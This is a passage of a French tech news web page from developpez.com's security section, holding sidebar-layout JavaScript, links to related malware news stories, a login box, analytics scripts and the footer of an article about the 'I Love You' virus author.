		// si leftColumn est trop petit on remet le code de ANO
		if (HauteurLeftColumn < minHeightLeftColumnBase) { // tdActu longue ??

			var actu = $('#actu').height();
			var minimumDemander = hauteurPub + minHeightLeftColumnBase;

			if (actu < minimumDemander && hauteurFenetre < minimumDemander) {

				leftColumn.css('min-height', actu - hauteurPub - 10 + 'px');
				leftColumn.css('height', actu - hauteurPub - 10 +'px');
				leftColumn.css('max-height', actu - hauteurPub - 10 + 'px');

				return;

			}

			maxPubCache = minY + hauteurPub;

			leftColumn.css('min-height', HauteurLeftColumn + hauteurPub - footer - 5 + 'px');
			leftColumn.css('height', HauteurLeftColumn + hauteurPub +'px');
			leftColumn.css('max-height', HauteurLeftColumn + hauteurPub + 'px');

			if (scrollTop > maxPubCache) {
				positionne = true;
				scotch = true;

				pub.fadeOut();

				aside.css("position", "fixed");
				aside.css('top', '-5px');

				resizeLeftColumnSelonMaxYano();
			}

			$(window).on("scroll", scrollerAno);

		} else {

			pub.show();

			// on fixe la taille de "leftColumn" selon la hauteur de l'actu par rapport au menu
			if (tdActu >= hauteurContenuSansGabarit) {

				actuLongue = true;

				leftColumn.css('min-height', HauteurLeftColumn - gabarit + 'px'); // "min-height" = hauteur de l'écran sans le gabarit

				// height|max-height = hauteur de l'écran + marge de 5px
				leftColumn.css('height', HauteurLeftColumn + 5 +'px');
				leftColumn.css('max-height', HauteurLeftColumn + 5 + 'px');

			} else {

				actuLongue = false;

				var nouvelleHauteurLeftColumn = HauteurLeftColumn - gabarit - 5;
				if (nouvelleHauteurLeftColumn < minHeightLeftColumnBase)
					nouvelleHauteurLeftColumn = nouvelleHauteurLeftColumn + (minHeightLeftColumnBase - nouvelleHauteurLeftColumn);

				// min-height|height|max-height = hauteur de l'écran, sans gabarit moins la marge ajouté de 5px
				leftColumn.css('min-height', nouvelleHauteurLeftColumn + 'px');
				leftColumn.css('height', nouvelleHauteurLeftColumn +'px');
				leftColumn.css('max-height', nouvelleHauteurLeftColumn + 'px');

			}

			if (scrollTop >= minY) {
				positionne = true;
				scotch = true;

				aside.css("position", "fixed");

				resizeLeftColumnSelonMaxY();
			}

			$(window).on("scroll", scroller);

		}

	}

	function resizeLeftColumnSelonMaxY() {

		if (scrollTop >= maxY)
			leftColumn.css('height', HauteurLeftColumn - footer - 5 + 'px'); // marge basse de 5px

		else
			leftColumn.css('height', HauteurLeftColumn + 'px');
	}

	function scroller() {

		scrollTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop;

		if (scrollTop < minY || scrollTop >= maxY) {

			if (scotch) {

				if (scrollTop < minY)
					aside.css("position", "");

				else
					resizeLeftColumnSelonMaxY();

				scotch = false;
			}

		} else {

			if (! scotch) {

				if (! positionne)
					positionne = true;

				aside.css("position", "fixed");

				resizeLeftColumnSelonMaxY();

				scotch = true;
			}

		}
	}

	function resizeLeftColumnSelonMaxYano() {

		if (scrollTop >= maxY) {

			leftColumn.css('min-height', hauteurFenetre - footer - 18 + 'px');
			leftColumn.css('height', hauteurFenetre - footer - 18 + 'px');

		} else
			leftColumn.css('height', hauteurFenetre - 13 + 'px');
	}

	function scrollerAno() {

		scrollTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop;

		if (scrollTop < minY || scrollTop > maxPubCache) {

			if (scotch) {
				if (scrollTop < minY) {

					aside.css("position", "");
					scotch = false;

				} else if (scrollTop > maxPubCache) {

					pub.fadeOut();

					aside.css('top', '-5px');

					resizeLeftColumnSelonMaxYano();
				}
			}

		} else {

			if (! scotch) {

				if (! positionne)
					positionne = true;

				aside.css("position", "fixed");
				scotch = true;

				resizeLeftColumnSelonMaxYano();

			} else {

				if (scrollTop <= maxPubCache) {

					pub.fadeIn();

					aside.css('top', '5px');

					resizeLeftColumnSelonMaxYano();
				}

			}

		}
	}
});
</script>


</div>
<div style="margin-top:2px;" id="suite_colonne_droite">
			<div id="leftColumn" class="alaune" data-simplebar style="position:relative;">

									<div class="voiraussiTitle">Discussion</div>
					<div class="voiraussi" style="text-align:center;">
													<a href="https://www.developpez.net/forums/d2072607/systemes/securite/lauteur-pandemie-virus-informatique-i-love-you-lannee-2000-reconnait-enfin-culpabilite/#post11517035" class="button">
								<img src="/public/images/commentaire.png"/>  <span>Discussion forum</span>
							</a>
											</div>
				
									<div class="voiraussiTitle">Les rubriques (actu, forums, tutos) de Développez</div>
					<div class="voiraussi">
						<ul>
															<li class="voiraussiItem"><a href="https://www.developpez.com">Accueil</a></li>
															<li class="voiraussiItem"><a href="https://securite.developpez.com">Sécurité</a></li>
													</ul>
					</div>
				
									<div class="voiraussiTitle">Tags</div>
					<div class="voiraussi">
													<a class="tag" href="/actu/2000">2000</a>
											</div>
				
									<div class="voiraussiTitle">Sur le même sujet</div>
					<div class="voiraussi voiraussiScrollable">
						<table class="dossier">
							<tr>
								<td>
																			<table class="bestofItem" width="100%" cellpadding="4" cellspacing="0">
											<tr>
												<td align="middle">
																											<img height="32" src="https://www.developpez.com/images/logos/chine.png"/>
																									</td>
												<td>
													<a class="annonceLink" href="https://www.developpez.com/actu/296661/Comment-les-utilisateurs-de-reseaux-sociaux-en-Chine-ont-cree-un-nouveau-langage-pour-contourner-la-censure-du-gouvernement-suite-a-l-epidemie-de-Coronavirus-qu-ils-appelent-aussi-le-malware-humain/">
														11/03 - Comment les utilisateurs de réseaux sociaux en Chine ont créé un nouveau langage pour contourner la censure du gouvernement<span style="font-weight: normal"> suite à l'épidémie de Coronavirus qu'ils appelent aussi le malware humain</span>													</a>
												</td>
											</tr>
										</table>
																			<table class="bestofItem" width="100%" cellpadding="4" cellspacing="0">
											<tr>
												<td align="middle">
																											<img height="32" src="https://www.developpez.com/images/logos/securite2.png"/>
																									</td>
												<td>
													<a class="annonceLink" href="https://securite.developpez.com/actu/294987/Le-gouvernement-US-publie-les-nouveaux-logiciels-malveillants-utilises-par-les-pirates-nord-coreens-pour-mener-des-activites-illegales/">
														26/02 - Le gouvernement US publie les nouveaux logiciels malveillants utilisés par les pirates nord-coréens <span style="font-weight: normal">pour mener des activités illégales</span>													</a>
												</td>
											</tr>
										</table>
																			<table class="bestofItem" width="100%" cellpadding="4" cellspacing="0">
											<tr>
												<td align="middle">
																											<img height="32" src="https://www.developpez.com/images/logos/android.png"/>
																									</td>
												<td>
													<a class="annonceLink" href="https://android.developpez.com/actu/286648/Une-vulnerabilite-affectant-des-millions-de-telephones-Android-est-activement-exploitee-par-des-malware-leur-permettant-de-se-faire-passer-pour-des-applications-deja-installees/">
														06/12 - Une vulnérabilité affectant des millions de téléphones Android est activement exploitée par des malware<span style="font-weight: normal">, leur permettant de se faire passer pour des applications déjà installées</span>													</a>
												</td>
											</tr>
										</table>
																			<table class="bestofItem" width="100%" cellpadding="4" cellspacing="0">
											<tr>
												<td align="middle">
																											<img height="32" src="https://www.developpez.com/images/logos/securite.gif"/>
																									</td>
												<td>
													<a class="annonceLink" href="https://www.developpez.com/actu/191107/Trolldi-des-chercheurs-preconisent-de-ne-pas-ouvrir-de-messages-extraterrestres-ils-pourraient-contenir-des-maliciels-pour-detruire-la-Terre/">
														02/03 - Trolldi : des chercheurs préconisent de ne pas ouvrir de messages extraterrestres<span style="font-weight: normal">, ils pourraient contenir des maliciels pour détruire la Terre</span>													</a>
												</td>
											</tr>
										</table>
																	</td>
							</tr>
						</table>
					</div>
				
				<form>
<div id="LoginBox">
	<h3 class="alauneType">Connexion</h3>
	<div class="groupbox">
		<div class="cat_content">
		<table width="100%">
		<tr><td nowrap="nowrap" align="right" style="width: 50%;" class="form_label">Identifiant</td><td><input type="text" class="form_input" id="loginFormlogin"/></td></tr>
		<tr><td nowrap="nowrap" align="right" class="form_label">Mot de passe</td><td><input type="password" class="form_input" id="loginFormPass"/></td></tr>
		<tr><td colspan="2" align="center" class="ann_content" style="padding:15px 0 8px;"><input type="button" value="Connexion" id="loginFormButton" title="Insérez votre identifiant et mot de passe dans les cases correspondantes pour vous connecter, ou cliquez sur le bouton « S'inscrire » pour créer un profil personnel."/></td></tr>
		<tr><td colspan="2"><div id="loginFormMsg" style="display: none;"/></td></tr>
		<tr><td align="right" class="form_label" style="padding-right:30px;"><a href="https://www.developpez.net/forums/inscription/">S'inscrire</a></td><td nowrap="nowrap" align="left" class="form_label"><a href="https://www.developpez.net/forums/login.php?do=lostpw">Mot de passe oublié ?</a></td></tr>
		</table></div>
	</div>
</div>
</form>
<script type="text/javascript">
	$(function(){
		new loggingForm({
			redirectAction : function() {											
				window.location.href = "https://securite.developpez.com/actu/302065/L-auteur-de-la-pandemie-de-virus-informatique-I-Love-You-de-l-annee-2000-reconnait-enfin-sa-culpabilite-20-ans-apres-l-infection-de-millions-de-machines-a-travers-le-monde-par-son-logiciel/";
			}
		});
	});

$(function(){
new loggingForm({});});
</script>


			</div>

			</div>
		</aside>

	</td>
</tr></table>

<script type="text/javascript">
	function gabarit_chargerVoirAussi() {
	}

	$(function() {
		if ($("#gabarit_pubBB").is(":hidden"))
			$('.contenuPage').css('padding-top', '30px');
	$("#gabarit_voiraussi").load("https://www.developpez.com/voiraussi/index/rubrique/40/");
	$("#gabarit_encartemploi").load("https://www.developpez.com/ws/offres?alt=3&utf8=1");
});
</script>
<script>
	window.beOpAsyncInit = function() {
		BeOpSDK.init({
			account: "5ef9b08046e0fb0001016aba"
		});
		BeOpSDK.watch();
	};
</script>
<script async src="https://widget.beop.io/sdk.js"></script>
<img src="https://compteur.developpez.com/compter-40" alt="" width="1" height="1" style="position: absolute; left: 1px; top: 1px">
<script type="text/javascript" src="https://altsysimg.developpez.com/show_i.php?testjs=1"></script><script type="text/javascript" src="https://sysimg.developpez.com/show_i.php?testjs=2"></script><script type="text/javascript">var Linkedin=0;if(!document.getElementById("RLISlqbpEKnU")){Linkedin=1;var c=document.createElement("img");c.src="https://compteur.developpez.com/spe-1";c.style="position: absolute; left: 3px; top: 2px";document.body.appendChild(c);}else{var c=document.createElement("img");c.src="https://compteur.developpez.com/spe-0";c.style="position: absolute; left: 3px; top: 2px";document.body.appendChild(c);}var XLinkedin=0;if(!document.getElementById("iZa4cCaP9NJh")){XLinkedin=1;var c=document.createElement("img");c.src="https://compteur.developpez.com/spea-1";c.style="position: absolute; left: 4px; top: 3px";document.body.appendChild(c);}else{var c=document.createElement("img");c.src="https://compteur.developpez.com/spea-0";c.style="position: absolute; left: 4px; top: 3px";document.body.appendChild(c);}</script><script type="text/javascript">$(function(){$("#eu40ty0a").load("/template/eu40ty0a"+Linkedin+".jpg");$("#eu40ae3g").load("/template/eu40ae3g"+Linkedin+".jpg");});</script>
</div>
</section>

<div class="BeOpWidget" style="background: #e1e1e2"></div>
<div id="gabarit_voiraussi" style="background: #e1e1e2; display: flex; justify-content: center"></div>
<div id="gabarit_encartemploi" style="background: #e1e1e2; display: flex; justify-content: center; padding-bottom: 10px"></div>

<footer>
<div id="gabarit_responsable">
		<a href="https://club.developpez.com/contacts/contribuer">Contacter</a> le responsable de la rubrique Sécurité
	</div>

<ul id="gabarit_pied">
	<li><a href="https://club.developpez.com/contacts/">Nous contacter</a>
	<li><a href="https://www.developpez.com/participez/">Participez</a>
	<li><a href="https://www.developpez.com/hebergement/">Hébergement</a>
	<li><a href="https://www.developpez.com/legal/">Informations légales</a>
	<li>Partenaire : <a href="https://www.planethoster.com/fr/" target="_blank" rel="noopener">Hébergement Web</a>
</ul>

<p id="gabarit_copyright">© 2000-2020 - www.developpez.com</p>
<p id="gabarit_pied_mobile">Partenaire : <a href="https://www.planethoster.com/fr/" target="_blank" rel="noopener">Hébergement Web</a></p>

</footer>
<!-- Google Analytics general -->
<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-28115938-1']);
  _gaq.push(['_setDomainName', 'developpez.com']);
  _gaq.push(['_setCustomVar', 1, 'rubrique', 'securite', 3]);
  _gaq.push(['_setCustomVar', 2, 'type', 'News', 3]);
  _gaq.push(['_trackPageview']);

  (function() {
	var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
	ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
	var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>



</body>
</html>